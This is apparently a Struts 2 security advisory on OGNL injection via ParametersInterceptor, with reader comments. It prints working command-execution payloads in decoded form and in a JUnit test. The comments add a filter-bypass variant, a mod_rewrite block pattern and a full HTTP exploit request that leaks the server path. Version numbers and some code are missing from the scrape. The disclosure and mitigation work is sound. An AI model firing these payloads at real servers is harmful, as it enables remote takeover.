ParameterInterceptor vulnerability allows remote command execution

Who should read this

All Struts 2 developers

Impact of vulnerability

Remote command execution

Maximum security rating



Developers should immediately upgrade to Struts or read the following solution instructions carefully for a configuration change to mitigate the vulnerability

Affected Software

Struts 2.0.0 - Struts


Meder Kydyraliev, Google Security Team

CVE Identifier


Original Description

Reported directly to security@struts.a.o


OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to bypass all the protections (regex pattern, deny method invocation) built into the ParametersInterceptor, thus being able to inject a malicious expression in any exposed string variable for further evaluation.

A similar behavior was already addressed in S2-003 and S2-005, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
Regular expression in ParametersInterceptor matches top['foo'](0) as a valid expression, which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.

Proof of concept

Vulnerable Action
public class FooAction {
    private String foo;

    public String execute() {
        return "success";
    public String getFoo() {
        return foo;

    public void setFoo(String foo) { = foo;

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

encoded version:


And the JUnit version

public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
    public void testExecute() throws Exception {
        request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
                "java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), " +
                "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");

        request.setParameter("top['foo'](0)", "true");

        String res = this.executeAction("/example/foo.action");
        FooAction action = this.getAction();

        File pwn = new File("/tmp/PWNAGE");
        Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());


The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

It is strongly recommended to upgrade to Struts, which contains the corrected OGNL and XWork library.

In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:

Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters

The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:

<interceptor-ref name="params">
	<param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>

Beware that the above pattern breaks the type conversion support for collection and map (those parameter names should be attached to acceptParamNames variable).
For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack

  • No labels


  1. Anonymous

    Hotfix with Apache mod_rewrite

    RewriteEngine On
    RewriteCond %{QUERY_STRING} ^.*(getRuntime|allowStaticMethodAccess).* [NC]
    RewriteRule ^(.*)$ - [F,L]
    1. 悲剧啊!
      I will ...
      foo=(#context"xwork.MethodAccessor.denyMethodExecution"=new java.lang.Boolean(false), #_memberAccess"allowStaticMethodAcc\u0065ss"=new java.lang.Boolean(true), @java.lang.Runtime@getRuntim\u0065().exec('calc'))(meh)&top'foo'(0)=false
      no getRuntime and no allowStaticMethodAccess.

  2. Anonymous


    in short:
    In our opinion, the fix from Maurizio Cucchiara is sufficient for the struts default-stack, but custom interceptors can easily (and accidentally) circumvent the fix and leaving the application vulnerable.

    The problem:
    we have tested the fix in struts which was done by Maurizio Cucchiara with our application.
    Surprisingly it was not working in our setup. The reason is, that the changes made at ParametersInterceptor, OgnlValueStack, OgnlUtil and so on do not prevent the dangerous parameter value to be written into the ValueStack (OgnlValueStack).
    If the application reads the ValueStack with valueStack.findValue(aKey), the parameter value is evaluated by OGNL and the bogus code becomes executed!

    For instance: When an interceptor (or other application code) is simply reading the ValueStack like for debugging purposes, then an attack will succeed!
    Here a code snippet from our custom interceptor

    public String intercept (ActionInvocation invocation)
    throws Exception
    ActionContext ac = invocation.getInvocationContext();
    ValueStack valueStack = ac.getValueStack();
    Map<String, Object> parameters = ac.getParameters();
    Iterator<Entry<String, Object>> it = parameters.entrySet().iterator();
    Entry<String, Object> entry = null;
    String value = null;

    for (; it.hasNext()

    Unknown macro: { entry =; value = (String) valueStack.findValue(entry.getKey()); // <== OGNL-Expression becomes evaluated! if (logDebug) logger.debug("ValueStack [key / value]}


    The value from the OGNLValueStack in a attack scenario like the above mentioned would look like this:
    [...] ValueStack [key / value]: [myParameter / (#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('notepad'))(meh)]
    (Here the Windows Notepad Application gets startet)

    In OgnlUtil.setValue(String name, Map<String, Object> context, Object root, Object value, boolean evalName) the parameterName name is checked to be a value expression (isEvalExpression(...)).
    Why not check the parameter value too and throw the OgnlException in case it is a value expression?

    We would appreciate any suggestions to solve the problem.
    Of course the best would be another improvement of the struts2-ognl-integration

    Thanks in advance
    Marcus Zander, Germany

    1. Anonymous

      Hi Marcus,

      I am not able to reprodue this issue , following are my jar versions -

      Also I tried adding a cusom interceptor and reading the values , still the expression is not get evaluated.

      1. Anonymous


        I could reproduce the issue with struts2-core-2.0.11.jar & xwork-2.0.4.jar


        Agilan Palani

  3. Anonymous

    Tried the workaround and I'm seeing this in my app server log:
    20:48:582 EDT 0000004b OgnlUtil W com.opensymphony.xwork2.util.OgnlUtil internalSetProperty Caught OgnlException while setting property 'acceptParamNames' on type 'com.opensymphony.xwork2.interceptor.ParametersInterceptor'.
    ognl.NoSuchPropertyException: com.opensymphony.xwork2.interceptor.ParametersInterceptor.acceptParamNames
    at ognl.ObjectPropertyAccessor.setProperty(

    I'm using struts 2.0.14 and xwork 2.0.7. Overrode the entire default stack in my default package as such:

    <interceptor-stack name="defaultStack">
    <interceptor-ref name="exception"/>
    <interceptor-ref name="alias"/>
    <interceptor-ref name="servletConfig"/>
    <interceptor-ref name="prepare"/>
    <interceptor-ref name="i18n"/>
    <interceptor-ref name="chain"/>
    <!-- <interceptor-ref name="debugging"/> -->
    <interceptor-ref name="profiling"/>
    <interceptor-ref name="scopedModelDriven"/>
    <interceptor-ref name="modelDriven"/>
    <interceptor-ref name="fileUpload"/>
    <interceptor-ref name="checkbox"/>
    <interceptor-ref name="staticParams"/>
    <interceptor-ref name="params">
    <param name="excludeParams">dojo\..*</param>
    <param name="acceptParamNames">\w+((\.\w+)|([\d+])|(['\w+']))*</param>
    <interceptor-ref name="conversionError"/>
    <interceptor-ref name="validation">
    <param name="excludeMethods">input,back,cancel,browse</param>
    <interceptor-ref name="workflow">
    <param name="excludeMethods">input,back,cancel,browse</param>

    <default-interceptor-ref name="defaultStack"/>

    Why is acceptParamNames not being recognized as a property for the ParameterInterceptor?

    1. Anonymous

      Just checked and am actually using xwork 2.0.4. According to source seems like this version does not accept params?

  4. with following http package,

    GET /struts2-showcase-2.0.6/validation/submitFieldValidatorsExamples.action;jsessionid=94F890877E7F79CFF505D3166F099E56?requiredValidatorField=(%23context'xwork.MethodAccessor.denyMethodExecution'=false,%23_memberAccess'allowStaticMethodAccess'=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23rep=@org.apache.struts2.ServletActionContext@getResponse(),%23webStr=new%20byte51020,%23rep.getWriter().println(new%20java.lang.StringBuilder(%22tfavodrisy%22).append(%22~not_exist_in_html%22).append(%23req.getRealPath(%22%2F%22)).append(%22~3.1415621%22).toString()))(iydx)&z%28requiredValidatorField%29%28%27iydx%27%29=true HTTP/1.1
    Accept-Encoding: identity
    Connection: close
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)

    it failed, and struts version is 2.0.6, but when I tested it with, it worked well, so would you give some point about the reason why it failed?

    1. code changes? 2.0.6 is very old and this attack was prepared against 2.3.x, 2.0.x has some other vulnerabilities (wink)

  5. with folloing http package,

    GET /struts2-showcase-2.0.6/validation/submitFieldValidatorsExamples.action;jsessionid=94F890877E7F79CFF505D3166F099E56?requiredValidatorField=(%23context'xwork.MethodAccessor.denyMethodExecution'=false,%23_memberAccess'allowStaticMethodAccess'=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23rep=@org.apache.struts2.ServletActionContext@getResponse(),%23webStr=new%20byte51020,%23rep.getWriter().println(new%20java.lang.StringBuilder(%22tfavodrisy%22).append(%22~not_exist_in_html%22).append(%23req.getRealPath(%22%2F%22)).append(%22~3.1415621%22).toString()))(iydx)&z%28requiredValidatorField%29%28%27iydx%27%29=true HTTP/1.1
    Accept-Encoding: identity
    Connection: close
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)

    it failed, and struts version is 2.0.6, but when I tested it with, it worked well, so would you give some point about the reason why it failed?